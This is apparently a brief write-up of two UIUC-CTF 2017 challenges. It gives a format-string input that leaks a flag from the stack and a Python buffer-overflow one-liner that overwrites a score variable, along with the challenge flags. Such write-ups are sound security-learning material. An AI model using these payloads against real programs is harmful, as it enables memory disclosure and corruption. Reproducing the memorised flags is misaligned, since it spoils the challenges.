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parksjin01/UIUC-CTF 2017 writeup.md

Created April 29, 2017 15:02
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UIUC-CTF 2017 writeup
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UIUC-CTF 2017 writeup.md

Goodluck

  • There are fsb in program and we can print flag by it
  • If we wrote %p%p%p%p%p%p%p%p%p%p%p%p%p as input and then 10th value to 13th value is flag
  • flag: flag{always_give_110%}

snekquiz

  • If we correct all problem we can only get 3 points and we have to get extactly 5 points to get flag
  • We have to change score variable by buffer overflow.
  • memory payload is like this(input buffer -> 80bytes, score variable -> 4bytes, canary -> 4bytes)
  • We can make point 5 by this script (python -c 'print "a"*80+"\x05"+"\x00"*4';cat)
  • flag: flag{remember_remember_the_16th_of_july}
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